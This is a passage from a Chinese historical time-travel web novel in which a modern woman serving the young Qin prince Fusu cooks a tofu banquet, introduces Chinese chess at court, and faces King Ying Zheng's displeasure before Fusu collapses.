要是扶苏喜欢晒太阳，那她找李远做把躺椅好了，那样在花园里晒起太阳来才是真的惬意。这么想着，她在心里把躺椅也列入待办事项。
中途扶苏睡着了，她给人盖上毯子之后，自己也在一边昏昏欲睡。
结果她最后迷迷糊糊睡着了，自己都不知道。还是扶苏比她先醒，把她叫醒。她一睁眼，才发现太阳已经落山，天边只剩烈如奔马，漫延千里的绯红晚霞。
扶苏蹲在楚荍旁边，眨巴着大眼睛，一脸人畜无害地指了指楚荍的嘴边。
楚荍愣了三秒才反应过来，立马慌乱地用袖子把嘴边的口水给擦掉，擦完想都没想就吐槽道：
“公子，你这样很不绅士诶。”
“绅士？绅士是什么意思？”扶苏歪歪头，好奇地问。
“呃......”楚荍没想到自己就这么秃噜嘴了，只好胡乱解释道：“就是说公子你这样盯着女孩子是很无礼的，这是我们家里那边的说话，公子不知道也很正常，哈哈......”
听完楚荍的解释，扶苏倒是认同地点了点头，刚刚他那样是为了好玩儿，但确实有些无礼。
“我知道了姑姑，以后我不会做这样不‘绅士’的行为了。”扶苏很认真地跟她保证。
楚荍没想到扶苏这么快就学会了，还活学活用，只得无奈地点点头，“知道了就好。”
晚上睡前，楚荍还是有些担心，“公子，要不今晚我陪你睡吧。”
“姑姑，我都这么大了，睡觉不需要人陪了。”
扶苏拉着她的手撒娇，“倒是姑姑，昨日说好的豆腐宴我都没吃上。”
这还是扶苏第一次跟她撒娇，楚荍看着面上很平静，但其实已经在心里放声高歌了一曲“今天是个好日子”。
救命啊，这世上怎么会有她家公子这么完美的小孩，不仅天资聪颖、长得好看，还勤奋好学、温柔体贴，情商和智商都拉满。
虽然只是拉着她的手晃晃，再加上笑得比平常更甜一点，但她的心已经被萌化了。
“好好好，明天一定让公子吃上心心念念的豆腐宴。”楚荍把扶苏抱进怀里哄道，“不过公子要是有任何不舒服，也一定要和姑姑说。”
“嗯嗯，我知道的姑姑，不然我们拉钩？”扶苏朝楚荍伸手小拇指。
“好，拉钩上吊一百年不许变，谁变谁是小狗。”
楚荍和扶苏盖完章后，帮他掖好床褥，确定扶苏睡着之后才悄悄回了自己房间。
回到房间之后，她没立马休息，而是去找了卫兰。
昨日大王赏赐下来，她去了一趟少府换了好几张布帛回来，准备去给卫兰。
不知道卫兰画的怎么样了？
楚荍带着东西敲响了卫兰的门。
“兰儿，你睡了吗？”
刚躺下的卫兰听见声响，立马又起来给楚荍开门。
卫兰点不起灯，房里一片漆黑。所以楚荍也没进去，就在门口把东西交给
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了她。
“当当当——看，这是什么？”
楚荍把五块布帛从身后拿出来，邀功似的展示给卫兰看。
“这、姑姑是哪来的这些？”卫兰惊讶地问，楚荍手中拿的布帛成色都很好。
“昨日大王不是给了赏赐吗，我都给换成布帛了。”
楚荍走上前一步抱住卫兰，整个身子都卸了力靠在她身上。她很累。
卫兰微微一笑，回抱住楚荍。她家姑姑每日风风火火的，再有精力的人也会累的。她明白。她轻轻拍着楚荍的背，问：“布帛这么贵，换这么多干什么？”
“我家兰儿还是第一个尝试在布帛上画画的，自然得多备几张。”楚荍窝在卫兰肩膀上撒娇。
卫兰被楚荍说话的气息弄得有些痒，她柔声问道：“好好好，姑姑说的都对。那姑姑想不想看看我画的如何了？”
“兰儿已经画完了吗？”楚荍松开卫兰，惊喜地问。
“没有，”卫兰摇摇头，“只画完了一部分。”
说完，卫兰走近房间，拿出自己的画。
月光下，楚荍借着光仔细看着卫兰的画。这副画上大部分内容已经画完了。
宫殿门外，公子向大王行李的这一幕。场景和扶苏公子都画完了，还剩大王没有画。
想来是因为卫兰对公子更加熟悉，画起来也更加得心应手。而大王则相较而言陌生许多，自然也更不好画。
布帛相对纸张来说，作画难度更高。柔软的布料对于线条的把控有很高的要求。而且在作画这方面，卫兰也是初学者。
所以楚荍对卫兰在只有短短一月左右且无法试错的情况下，能交出这样的画卷已经很满意了。
宫殿大门的勾勒用笔古朴大气，在细节上却又精致入微，整幅画最亮眼的地方是在人物上。
卫兰不仅将扶苏行礼这一瞬间的形态勾勒出来，更妙的是，她还将扶苏身上那一缕出尘仙气也给画了出来。
楚荍不知道卫兰是怎么做到的，明明在工具及其匮乏的情况下，却能将人物形神抓得这么好。
穿过来与扶苏相处的时间说长不长说短不短，楚荍也发现了，自家公子与别家小孩是不一样的地方。
扶苏可以说是完美的，无论是在外貌、天资，还是待人接物，都完全符合楚荍对世人称赞的天下第一公子的想象。
就是这样的扶苏，完美得不似凡人，一颦一笑都更像是落入凡尘的谪仙。
“如何？”卫兰带着些期待问。
“好，太好了。兰儿画的比我想象中的好太多了。等你完成，这就是世界最完美的画。”
“你别哄我！”卫兰被夸的不好意思，捂嘴笑了起来。
不过能得这么两句，也不妄她这一月的苦心钻研。若是楚荍白天来，就会发现屋里她到处作画的痕迹。
“怎么会是哄你呢，我说的话，句句属实。”
楚荍也笑了起来，轻松快意。
穿过来之后，能碰到这些朋友，真是太好了。
楚荍在心里想着，又是抱住卫兰，心中慰藉。
13.第十三章 将闾
正午，将闾端坐在长案前，虔心地等着自己的午膳。
从前日吃到饺子起，他就成为了饺子的忠实信徒。世上怎么会有饺子这么完美的食物，不仅好吃，还有趣。在没咬破饺子皮前，谁也不会知道这个饺子的味道。而且小小一个，一口刚好可以吃掉一个。
正当他在猜想今日午膳会是什么口味的饺子时，却失望地发现午膳又变成了普通饭食。将闾幽怨地看向送饭的宫人，眼神已经替他问出了问题。
“禀公子，膳房的人说今天人手不够，所以没做饺子。”
人手不够？这也算是理由吗？将闾想。
他看向瑟瑟发抖的宫人，有些莫名，自己看起来像是会迁怒的人吗？怎么怕成这样？
“我知道了，你退下吧。”
看起来有些面生，估计是新来的吧。
将闾味同嚼蜡地吃完的这顿饭，就一溜烟跑去了膳房。他倒要看看，到底是个怎么缺人法。
今日一早，楚荍就去了膳房。昨日答应了扶苏要给他做豆腐宴，自然不能食言，所以她一早就来准备了。本来是准备前天晚上做的，但是最后因为扶苏身体的问题没来得及。
豆腐做起来说难不难，但也没那么简单。
第一步，先用石磨把提前泡好的豆子磨成豆浆。然后在再用开水冲桨，捞去浮沫后用纱巾虑去豆渣。剩下的豆浆烧开后即可饮用。豆浆到这一步再加上糖就做成了。但是要做豆腐的话，还得接着努力。
烧开的豆浆降温之后再进行点卤，等待一个时辰之后，凝结的嫩豆腐就可以用来做豆腐脑。然后再将这些嫩豆腐放进方形磨具里，压上重物，再等待一个时辰，压实之后切块，就成了我们常见的豆腐块。
听起来很简单对不对，但楚荍他们一直从早上忙活到晚上，才出了一锅豆腐。
像是第一锅，因为盐卢放少了，他们傻乎乎等了一个小时，结果豆浆根本没有凝结成豆腐。
所以有时候理论只是理论，等到自己上手实践的时候，就会发现这里有问题，那里也有问题。
单单一个盐卤的配比，她们就至少试了四锅，才试出一个比较合适的配方。这还是在这些人都是厨艺高超的大厨的前提下。
今日一整日整个膳房都在忙活豆腐，自然没时间再去包饺子了。不过皇天不负有心人，最后还是让他们给搞出来了。
豆腐做好之后，其他的就简单了。煎炒烹炸，豆腐样样都能做。
不过由于最后成品就一锅豆腐，原料比较少，所以只能先紧着扶苏和大王这两边做。特别是嬴政知道她们今日要做豆腐宴，还特意留了几位大臣一起品尝。这样一算下来，就更没有多的可以匀给其他宫里的了。
将闾在那偷偷看了一下午，已经馋得口水都干了，结果最后发现根本没自己的份。
楚荍忙完之后，看着色香味俱全的豆腐菜肴，成就感十足。将扶苏那一份装进食盒之后，她就随着送饭的宫人一起回了扶苏宫中。
“诶诶夏时，是不是有人在跟着我们啊？”
走了一路，快到的时候，楚荍没忍住问。
从刚出膳房她就发现了，有人在一直跟着她们啊！
只见夏时回头看了一眼，然后十分淡定地对楚荍说：“哦，那是将闾公子。将闾公子爱吃，可能是被姑姑豆腐宴的味道给吸引了吧。”
将闾？楚荍在心里搜索了一下这个人。她对这人还是有点印象的，毕竟是扶苏为数不多在史书里有名字的弟弟。
而且夏时都这么淡定，看来这位将闾公子爱吃的名声还真是声名远播啊。
不过想想也是，既然是扶苏的弟弟，那也不过才是几岁的小朋友，爱吃也正常。
“公子，有客来访。”楚荍笑着说，微微侧头看向门外时不时冒出来的脑袋顶。
扶苏见状也好奇地看向门外，果然有人在门外转悠。
想了一下，扶苏就知道来人是谁了，也笑了起来：“夏时，去请将闾进来。”
不多时，夏时牵着别别扭扭的将闾进来了。
“将闾，找大兄可是有事？”扶苏朝将闾朝朝手，拍了拍自己旁边的凳子示意他过来坐。
将闾本就有些别扭，现在看着眼前比自己还高的桌椅更加不知所措。
楚荍看出将闾的局促，笑着上前解释：“将闾公子，这是桌椅，比跪坐舒服很多哦，公子要不要试试？”
只见将闾带着些警惕的眼神看着楚荍，一副你是谁，为什么离我这么近的警惕模样，丝毫没有把自己的话听进去。
楚荍难得愣了一下，通常来说，小孩子是很喜欢自己的呀。在现代她选择当老师的其中一个原因就是她很招小朋友的喜欢。穿过来之后，扶苏、小花都是第一面就很亲她。没想到竟然在将闾这里遭到了滑铁卢。
扶苏见自家姑姑吃瘪，毫不留情地笑了起来，他用眼神示意夏时把食盒中的饭食摆出来。自己则起身牵住将闾的手，带着他坐在凳子上。
果然菜肴一摆出来，将闾就乖巧起来，连眼神都清澈了。
“这么晚了，将闾不如就在这陪大兄一起用完饭再回宫？”
闻言，将闾眼睛里瞬间就有了亮光，迫不期待地点头。
楚荍看扶苏一脸得意地看向自己，立马就回了一个鄙夷的眼神。哼，不就是哄小孩吗，孩子大王这个称号她让给扶苏了！
“姑姑，你不为我们介绍一下？”扶苏问。
将闾坐在一边拿着筷子，口水都要流下来了，但是扶苏没动筷，他又不敢动。于是他一脸幽怨地看向楚荍，好像她是不让他吃饭的罪魁祸首。
楚荍被将闾瞪得哭笑不得，她走上前一步为二人介绍这豆腐宴。
这碗是嫩豆花，因为公子爱吃甜，所以做的甜口。这盘是煎豆腐，外酥里嫩，除了盐没放其他调料，豆香浓郁。这盘是红烧豆腐，过油炸过之后再加入秘制料汁收汁，酱汁裹满了酥脆的豆腐，一口下去就满口生香。
这盘是豆腐肉丸子，过
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油炸熟的，豆香和肉香很好地融合在一起。这盘是小葱鸡蛋拌豆腐，嫩豆腐拌上鸡蛋、醋和其他调料，拌饭吃很香。最后就是豆浆了，二位公子都喝过了。
听完楚荍的介绍，加之菜肴散出的香气，扶苏也咽起了口水。他夹起一个看着圆滚滚的豆腐肉丸子，因为烫，所以只咬了一小口。可只这一小口，就足够惊艳扶苏了。
酥脆的外壳咬开后，里面是鲜嫩咸香的豆腐肉馅，油炸之后口感和味道都是绝佳，简直不要太香。
将闾见扶苏动筷，也迫不及待夹起一个豆腐肉丸子。
嗯！简直比他想象中的还要好吃！
楚荍在一边看着两个人大快朵颐的样子，也满足地笑了起来。只要扶苏喜欢吃，那她今天这一天的辛苦就算不得什么。
饭后，两个人都吃饱了躺在榻上歇息。
“将闾想听故事吗？”扶苏侧过头问。
“故事？”将闾眨了眨眼睛，说道：“想听。”
楚荍还以为扶苏是想自己给将闾讲故事呢，结果一转头就看向扶苏眼巴巴地望着自己。那意思再明显不过，他想听楚荍讲故事了。
见状，楚荍无奈地笑笑，也坐了下来。自从楚荍开了给扶苏讲故事的头，现在扶苏隔三差五就要楚荍给他讲故事。
楚荍想了想，就发现自己肚子里的存货告急了，所以就讲了个小孩子应该都爱听的阿拉丁神灯的故事。
讲完之后，她发现两人都睡着了。给扶苏盖好被子之后，楚荍便让宫人把将闾抱回自己宫中。
回到自己宫中之后，他就被自己母亲给叫醒。
“将闾，你这一天去哪了？也不跟我说一声，吓死我了。”
将闾睁开惺忪的睡眼，意识还未清醒，迷迷糊糊地回答自家母亲的问题：“我去大兄宫中吃了豆腐宴，还听了故事。”
“谁许你去长公子宫中的！”孟美人抱着自己儿子严厉地呵斥。
将闾被吓醒，不解地说：“娘，大兄对我很好，根本就不像你说的。”
“将闾，娘是为你好。”孟美人抱紧将闾，“你就听娘的好不好。”
得了将闾的保证之后，孟美人才放他去歇息。
时至今日，孟美人心中仍然不平。扶苏不过比将闾早出生几月而已，可大王眼里就只有这个扶苏，剩下的十几个孩子好似不是他的骨肉。只有扶苏，享尽了大王的宠爱。
凭什么，若是她的将闾早些出生，是长公子，会不会一切都不一样。
想着想着，眼泪如鱼线般掉落，这后宫里的漫漫长夜，有多难熬，只有她们这些人才知道。
她绝不能再让人把将闾抢走。
另一边，楚荍把扶苏叫醒，伺候他梳洗。
“姑姑，世上真的有能够实现愿望的神灯吗？”扶苏睁着惺忪的睡眼问。
“当然没有啦，若是真有这样神奇的神灯，世人还争个什么呢，都去找灯不就行了。”
楚荍笑笑，温柔地摸摸扶苏的头。
14.第十四章 象棋
“将军！”
楚荍执“车”棋直冲扶苏的“帅”棋而去。第一局，楚荍轻松取胜。
前几日将闾来过之后，两个人兄友弟恭的样子启发了楚荍。
扶苏招待弟弟妹妹和朋友的时候，没什么玩的呀！
虽说这一时期“六博棋”十分流行，但是棋类游戏嘛，总是旧不如新。新游戏再怎么样也占个新鲜感。
而且六博棋兴起于春秋战国，盛行于秦汉，但是东汉以后，六博棋就开始衰落，逐渐失传。但是根据其改造的“象棋”却千年不衰，也足以证明象棋的可玩性。
楚荍虽然不是下象棋的高手，甚至可以说是臭棋篓子也不为过。但是基本规则她还是清楚的。
所以她很快就找到李远，让他做了一套象棋出来。
这套象棋几乎与现代象棋无异，圆圆的棋子上刻着字，用红黑两色分出阵营。棋盘倒是稍有改动，楚荍把原本的楚河汉界给改成了“江河”，意思为长江黄河。毕竟这时候还没刘邦什么事呢。
李远刚把东西送过来，楚荍就迫不及待带着扶苏玩了起来。
她教扶苏认完棋子，讲解了一遍规则之后就带着他试玩了一盘。
“公子，如何？这‘象棋’可还喜欢？”楚荍带着些小得意地问。哼哼，天才少年也败于她手，看来她这个臭棋篓子的称号还有待商榷啊。
楚荍无耻地这么想的时候，丝毫没有考虑到扶苏不仅才六岁，而且这还是他的第一盘象棋，输了才最正常不过。当然，楚荍会这么想，也是因为她奉行先苦不一定后甜，但先甜一定甜了的原则。
就像现在，她不确定自己第二盘会不会赢，所以第一盘先赢了该嘚瑟还得嘚瑟，不然待会就没机会了怎么办。
不过事实证明，楚荍这么做完全没错。因为从第二盘起，扶苏搞清楚规则之后，楚荍就再也没赢过了。
第五盘，楚荍的“帅”再一次被包围。她手上摆弄着她吃掉的扶苏的几个小卒，绝望地想她果然还是个臭棋篓子，六岁小孩都下不过，以后她还是放弃这个游戏吧。
“姑姑，怎么不走了？”扶苏歪着头一脸无辜地笑着问。
就像是一只狸花猫捉到老鼠之后，不仅不吃掉它，反而欣赏看着猎物的挣扎反抗。而且丝毫不觉得自己行为的残忍，还觉得有趣极了。
真残忍啊，她家公子。自己不就在第一局小小的嘚瑟了一下嘛！
“好了好了，姑姑投降。”楚荍举起双手投降，捏尖了嗓子故意搞怪地说，“还请公子大人高抬贵手。”
噗呲，扶苏被楚荍一句“公子大人”给逗笑了，哪有这种奇奇怪怪的称呼啊。
见扶苏笑这么开心，有点太可爱了，楚荍一个没忍住，就去挠扶苏的痒痒。
“好啊，公子现在欺负姑姑是越来越顺手了。”
扶苏最怕痒了，东扭西扭地躲着楚荍的挠痒，最后干脆直接抱住楚荍撒娇。
“好姑姑，饶了我吧。要不我们再来一盘，这次我一定‘好好’下！”扶苏特意咬重了“好好”两个字，什么意思再明显不过。
楚荍顺势把扶苏抱起来，笑骂道：“公子放水这棋下得还有什么劲。不过以后公子找其他人下吧，姑姑这臭棋篓子就不陪你玩了。”
两个人笑笑闹闹正起劲的时候，结果一转身，就看到将闾瞪大了眼睛看着她俩。
楚荍被突然出现的将闾给搞蒙了，瞬间就噤了声。扶苏听见楚荍没了声，也意识到不对，一回头，就看到将闾一副被惊掉下巴的样子盯着他。
扶苏挣扎了一下，示意楚荍把他放下来。被楚荍放下来之后，他整理了一下自己的衣裳，然后才走上前问将闾怎么来了。就是脸上还有着可疑的红晕，也不知是刚刚玩闹留下的，还是被将闾看到自己如此孩子气的一面给羞红的。毕竟他一直都是以成熟稳重的小大人形象示人的。
楚荍觉得是后者，没想到自家公子偶像包袱还挺重啊。她没忍住在心里偷笑。
“我、我来找大兄玩。”将闾被刚刚那一幕震惊到结巴，不过这样的大兄，倒是让他觉得更亲近了些。
趁着两人交谈，楚荍偷偷溜到夏时身边问，“诶，将闾公子来了你怎么不通报？”
然后夏时依旧一脸谈定地说：“将闾公子偷溜进来的，我还没得及喊，你们就看到他了。”
楚荍闻言点点头，但是又觉得那里有点不对，将闾那样子看着站那有一会儿了，怎么会来不及？
“你不会是故意的吧？”楚荍满腹狐疑地问。
夏时依旧没有任何表情变化地摇头，“当然不是。”
不过楚荍还是抓住了夏时话里两秒的迟疑，“我知道了，你不会是刚刚走神，所以才没注意到将闾公子溜进来的吧。”
楚荍说这话时一脸坏笑。
夏时是贴身照顾扶苏的内侍，从楚荍穿过来之后就没见他犯过错，做事精确到跟机器人一样。而且永远一副淡定的样子，楚荍都没见他笑过，或者其他任何情绪。宫人都私下叫他“淡定哥”。没想到啊，今天被她抓住把柄了。
不过夏时依旧嘴硬摇头，很生硬地说道：“不是。”
楚荍见夏时淡定的面具已经有一丝破碎，也就没有继续抓着不放，转而看向扶苏。
扶苏这会儿又恢复了照顾弟弟的小大人模样。
“你来得正好，姑姑刚研制了一种新棋，很好玩，要不要试试？”扶苏邀请将闾一起下棋，“我们先下一盘，待会儿晚膳送过来了我们再一起用饭。”
将闾一听到晚膳，立马就答应了。
果然，将闾是奔着晚膳来的。楚荍在一边看着简直哭笑不得，跟将闾一比，自己都算不上吃货了。
她虽然爱吃，但是跟开车一小时就为了吃一碗蟹脚面的吃货相比，她还是差太多了。
现在将闾已经在她心里升级成这种级别的吃货了。
同样，扶苏讲解完规则之后，也带着将闾玩了一盘。一盘刚下完，晚膳就送来了。
楚荍看着多出一盘的豆沙小馒头，心中惊讶，膳房这么快就创新了？
白白的小馒头包着甜甜的豆沙馅，香甜可口。
楚荍尝了一个之后就忍不住在心里感叹，果然群
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众的智慧是无穷的。
用完饭后，将闾又陪扶苏下了两盘。连输两盘之后，将闾迅速就失去了对象棋的兴趣。
果然，这小的孩子，能坐得住下棋的，也就他家公子了。
“大兄，我最近学了一套剑法，我耍给你看吧！”
将闾从椅子上跳下，抽出自己腰间的小木剑，兴奋地耍了起来。
然后耍了一套完全不能称作是剑法的剑法，不过一招一式还是挺有样子，应该是学过。
扶苏见状也叫人把他小木剑给取来，两个小孩子一板一眼地练起了剑。
两个人越玩越起劲，招式也都开始偏向进攻。楚荍在一边看着，扶苏明显更胜一筹。不过最后一招，扶苏倒是故意漏了个破绽。将闾顺着这个破绽直接把扶苏的剑给挑飞了。
“我赢了大兄！”将闾举起自己的木剑，大声的喊道。
扶苏不但没生气，甚至鼓起了掌，真心实意地夸奖：“我们将闾真是太厉害了，大兄自愧不如。”
不过将闾被这么一夸倒是不好意思起来，他挠挠头，“也没有啦，大兄也很厉害。”
楚荍早早就拿着汗巾等在一边，适时接过话说道：“两位公子都非常厉害，刚刚我都看花眼了。不过我们还是先把汗擦一擦，然后喝杯水歇歇吧。”
说着，楚荍就上手给两个人擦汗。
两个人刚坐下，孟美人就派宫人来寻将闾。
将闾肉眼可见的一下就蔫了，但还是乖乖跟着人走了。
人走后，楚荍就迫不及待笑道：“公子还真是个好哥哥，就是演技有些差。”
“姑姑看出来了？”扶苏坐在位置上，小心地擦拭着自己木剑，笑着说。
这木剑是扶苏四岁时大王送与他的。他一直十分珍惜。
“当然，公子最后那个破绽漏的，太假。”
楚荍笑着点评，一边准备把象棋收起来。
“这象棋公子明日还是带去偏殿，和先生们下吧。将闾他们还小，坐不住，怕是不能陪你玩这个了。”
扶苏也看出来将闾没这个兴趣，点头称是，不过还是不忘挤兑一句自家姑姑：“将闾他们还小不能陪我玩，姑姑也不能吗？”
“好啊，我看公子是又想试一下姑姑的挠痒痒大法了！”
说着，楚荍就作势要去挠扶苏。
两个人闹完之后，楚荍又犯难起来，象棋不行，还有什么适合小孩玩的游戏来着？
第二日上午，上完课后，扶苏留住了准备离去的甘罗。
“先生，可否陪我下上一盘？”
甘罗看向楚荍摆好的象棋，来了兴趣，问道：“这是何物？”
这棋与六博棋有些相似，却又完全不同。
“此棋称作象棋，是我姑姑自创的一种新玩法，先生可要试试？”扶苏笑着介绍。
甘罗闻言，看向站在一边的楚荍。最近他听过不少这位“楚夫人”的传言，她竟能自创棋法吗？
楚荍感受到甘罗审视的眼神，心中有些小崩溃。
其实真的可以完全不用介绍她的，公子！
15.第十五章 天子之怒
“哪方先把对方的‘帅’棋吃掉，哪方就算赢。”
扶苏为甘罗介绍完规则之后，两人就先试下了一盘。
只第一盘试下，明明应该还在适应规则的阶段，两个人就下的有来有回。楚荍在一旁看得啧啧称奇，这质量可比扶苏跟她下的时候高多了。
而且扶苏落子的速度明显变慢，每一步都是深思熟虑之后才落下。最后看得楚荍都紧张起来了，两边局势紧紧咬死，走错一步就是满盘皆输。
最后扶苏险胜，而这仅仅是甘罗试玩的第一盘。
虽然第一盘输了，但甘罗反而咂摸出象棋的乐趣，燃起了熊熊斗志。他现在已经熟知规则，可以开始下正式一盘了。
“公子，这象棋还真有几分趣味，来来来，咱们再来一盘。”甘罗边说边收拾桌上的棋子。
第二盘，两人每一步落子都更加谨慎。
楚荍在一边看着，第一次从棋盘体会出“步步为营”几个字。
太强了，这两人。她感觉自己仿佛能听到两个人脑子里噼里啪啦的计算声。
他俩走一步望十步的下法，楚荍不仅看得眼花缭乱，而且为了跟上两人的思维，都快给她整的cpu快烧了。
所以十分钟之后，楚荍就放弃了接着看棋的想法。她这种笨脑子，还是放弃这种高端的游戏吧。
楚荍转而观察起甘罗。这位扶苏的老师。史书中十二岁就被拜为上卿的少年英才。
虽说她穿过来也一个多月了，这好像还是第二次见到甘罗。一来她并不是全天都待在扶苏身边侍奉；二来扶苏的老师很多，甘罗属于一个月会来几次的那种。
扶苏启蒙早，又天资聪颖，所以除了几个固定教习的老师，朝中的各个大臣都有可能被嬴政指派去给扶苏上课。
比如李斯就被嬴政派去给扶苏讲过自己的《逐客令》，教之前李斯心里还觉得自家大王对长公子宠爱太过，这么小的孩子哪里听得懂这些。结果教完就被打脸了，虽说扶苏并不是每一句都能理解，但是最后却能精准抓住他这篇文章的中心，还能说出一二三四来。也就是这次，李斯才对扶苏改观，原来世上真有这么聪明的小孩，也难怪大王这么宠爱长公子。
甘罗来的次数不多，楚荍自然也对他没什么印象。不过怎么说呢，甘罗的形象倒是和她心中的有些落差。
这大概是因为甘罗明明在十二岁时如此惊才艳艳，但最后却像流星划过一样，没在后来的史书上留下痕迹。所以后世对他的演绎多少带有一种神秘感，形象上自然也是偏向文弱。
但是楚荍现在看到的甘罗，给她的第一感觉却是很平淡？
就在她出神的时候，两人第二局已经决出了胜负。扶苏棋差一着，输给了甘罗。
楚荍看了一眼棋盘上的局势，对扶苏输给甘罗这件事没什么反应。这难道不正常吗，扶苏今年才六岁，也是刚刚接触象棋，输给同样是少年英才的老师再正常不过了。
不过扶苏倒是不觉得，胜负欲上来，眼中的不甘心都要溢出来了。两人都摩拳擦掌准备再来一盘的时候，宫人刚好送来了中午的饭食。
楚荍招呼两人先吃完饭再下。时间多的是，不急这一会儿。
饭间，两人还一直在讨论刚刚那盘棋。用完饭后，就迫不及待地来了第三盘。
通常扶苏每日是上午读书，然后中午会睡个午觉，下午则要去练剑和骑射。
这会儿，扶苏午觉都不睡，就为了多下两盘。不过他下午的课不能误，这才跟甘罗依依不舍地告别。
楚荍拦住甘罗，“夫子，这副棋还请您收下。”
随着楚荍的话语，宫人适时从她身后走出，呈上他手中木盒所装的象棋。
“这……”
见甘罗犹豫，楚荍还以为又要上演一翻你谦我让的场景，她劝说的词都想好了。
结果下一秒甘罗就以迅雷不及掩耳之势接过了宫人手中的木盒。
“那真是多谢公子，等我回去多想几个招式，再来跟公子切磋。”
甘罗十分高兴地捧着木盒向扶苏道谢。他原本还准备回去自己找工匠做一副，现在倒是方便了。
望着甘罗离去的背影，不知为何，楚荍原本还觉得甘罗身上的色彩有些平淡，现在倒是感觉他身上的色彩亮眼起来了。
几日后。
嬴政正在书房内和李斯等人议事。
李斯抬手用袖子遮住口鼻，悄悄打了个哈欠。
结果刚放下袖子，嬴政就望了过来。
他心中一惊，一点睡意立马就醒了。都怪赵讷这厮，昨晚拉他下棋下到半夜，现在好了，他不会成为第一个因为打哈欠被杀头的臣子吧。
“廷尉可是昨夜没休息好？”嬴政敲着桌子问。
语气虽没什么起伏，但李斯依旧听出嬴政话里的不满。心顿时凉了半截。
他立马跪下请罪，“臣殿前失仪，罪该万死，还请王上治罪。”
李斯见嬴政只是有一下没一下地敲着桌子，心也随着一上一下。知道大王是要个解释，他心一横，现在只能祸水东引了。
“陛下，这些时日公子研制的‘象棋’风靡，昨夜赵讷找臣切磋棋艺直至半夜，所以这才有所失态。”
赵讷见李斯把祸水引到他身上，心中大骂他这个老匹夫无耻。昨晚两个人一起玩的，怎么他就不觉疲倦。自己被王上抓包，还要拉他一起背锅。平日里一口一个赵老弟喊的亲密，怎么这种时候就把他供出来了！
象棋？扶苏研制的？风靡？他怎么不知道？
“诸卿近日都在玩这个‘象棋’？”嬴政笑着问。
几位大臣你看我我看你，不知如何回答这个问题。虽然自家大王是笑着的，但是怎么感觉阴测测的。而且这问题也太危险了，这要是承认了不就是变相承认他们这几日工作不饱和，还有时间去玩嘛？
不过天地良心，他们都是在手上的事处理完之后才会找同僚来两上盘的。
敢在他们大王眼皮底下偷懒的人应该还没出生。
嬴政见他这几位大臣的反应，那里还有什么不明白的。
自己这几日忙于政事有时连饭都顾不上吃，他们倒好，还有时间取玩这个什么“象棋”。
哼，看来他这些臣子还是太闲了。既然这么闲，那就多替他分担些政务吧。
几位大臣回到
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官署，发现自己的工作翻了三倍之后欲哭无泪，只能大骂李斯这老匹夫是后话不谈。
议事结束之后，蒙恬回想着刚刚嬴政反应，总感觉哪里有点不对劲。
他家大王这个反应，不会是公子又没有把“象棋”这事告诉大王吧。
蒙恬一回头，就看到嬴政正在往偏殿去。虽然因为距离比较远，他看不清自家大王的表情，但是天子之怒，他这么远都感受到了。
唉，他家公子还真是，明明在其他事情上都这么周到，怎么到了大王这，就不愿意多亲近一些呢。
另一边扶苏上完课，正在研究甘罗给他留下的一盘残局要如何解。
啊，你问扶苏为什么不找楚荍对弈，两个人一起研究不比一个人研究要快？
你怎么知道扶苏没找呢，楚荍站在优势方，天大的优势她都能把自己下死，完全没有章法。还不如他自己跟自己下效率来得高。
嬴政来时就看到这样一副画面，扶苏对着桌上的一盘残局目不转睛，楚荍在扶苏对面坐着，用手撑着头昏昏欲睡。
霎时，宫人的一声通传直接把楚荍吓得从椅子上摔倒。
楚荍顾不上自己摔了个屁股墩儿，一溜烟就爬起来给嬴政行礼。
“这就是最近风靡的‘象棋’？”
嬴政捏起一枚帅棋问，语气不急不缓，话尾刚好带着一丝疑惑。好像真的只是好奇地询问。
若是不了解嬴政的人，以为他真的只是好奇，那他就离死不远了。
扶苏敏锐地察觉出自家父王话里的怒气，但是却有些疑惑，他最近又做了什么事情惹父王生气了吗？
见扶苏一脸疑惑的样子，嬴政更是气结。真是他的好儿子啊，所有人都知道的事情，只有他不知道。他在把这些棋送给其他人的时候，就没想过先给自己送一副吗？
虽然扶苏还没搞清楚是什么事情，但楚荍在一边已经听明白了。
天地良心，她和扶苏在宫中，哪里知道这象棋已经风靡了。她明明只给了甘罗一副棋子。
而且她做这象棋的本意就只是用来给扶苏招待弟弟妹妹的时候有个东西可以玩。
然后在她发现这东西可能不适合小孩子玩的时候，她这几天一直在李远那里搞战国版的大富翁。完全没想太多。
哎呀，不过也怪她，怎么没想到先给政哥送一份呢。
楚荍偷偷抬眼看了一眼嬴政的表情，很好，已经完全黑脸了。
完了完了，现在好了，两人原本就不多的父子感情现在更是雪上加霜。
意识到扶苏还没搞清楚现在的状况，楚荍在一边挤眉弄眼想给自家公子一点提示。
结果一抬眼就看到扶苏已经面色苍白，她的心一下子就揪了起来。
嬴政自然也注意到扶苏的脸色，心中一软，就要让人传太医。
“父王，孩儿不知做了什么，让父王如此生气？”扶苏艰难地问道，他的脑子现在已经是一团浆糊了，除了心中酸涩的委屈，再不知其他任何事情。
嬴政被扶苏这一句不知错在哪给气笑了，还真是他的好儿子啊。
他一挥袖，懒得多费口舌，转身离去。
16.第十六章 梦
呼！呼！
扶苏的呼吸急促起来，眼前开始发黑。心中酸涩的委屈也被即将溺毙的窒息感代替。他的心急速下坠。
感受到楚荍的怀抱，他强撑起笑容，“我没事的，姑姑。”
很快，他连这笑都撑不下去。一滴眼泪从他眼角滑落，扶苏失去意识前的最后一句呢喃：为什么......为什么父王不喜欢我呢。
“公子、公子！快传太医，传太医！”楚荍紧紧抱住扶苏，对着宫人大喊。
她抱起扶苏，让他平躺在床榻上，又盖上被子。等做完这些，她无措地坐在一边，楚荍这才发现自己已经泪流满面。
冷静、冷静，别慌！楚荍深吸几口气，抬手擦掉眼泪。
对了，系统，可以问系统。
她闭上眼睛，沉到自己的意识之海中，结果发现系统也在发出警告。
“发生什么了，扶苏怎么会突然发热？”系统见楚荍来了，立马跑来问她。现在扶苏的各项生命体征都在预警。
“我还想问你呢，你不知道吗？”楚荍着急地反问，“发热是发烧是吧，那你有没有什么退烧可以吃的？”
系统摇摇头，“扶苏这不是生理上的疾病。”
这话是什么意思，什么叫做不是生理上的疾病。楚荍还没来得及问，就被人叫醒。
“楚荍，扶苏怎么了？”嬴政沉着脸问。
他刚刚走出去还没有多远，就看见偏殿有宫人慌慌张张跑出来。他拦下一问，才知道扶苏晕倒了。他立马折返回来，看到扶苏脸色苍白躺在那里的时候，脚步一顿。
和那日花园里他回头的那一眼一样，扶苏安静躺在床榻上的样子，好像要变成透明的蝴蝶飞走了。
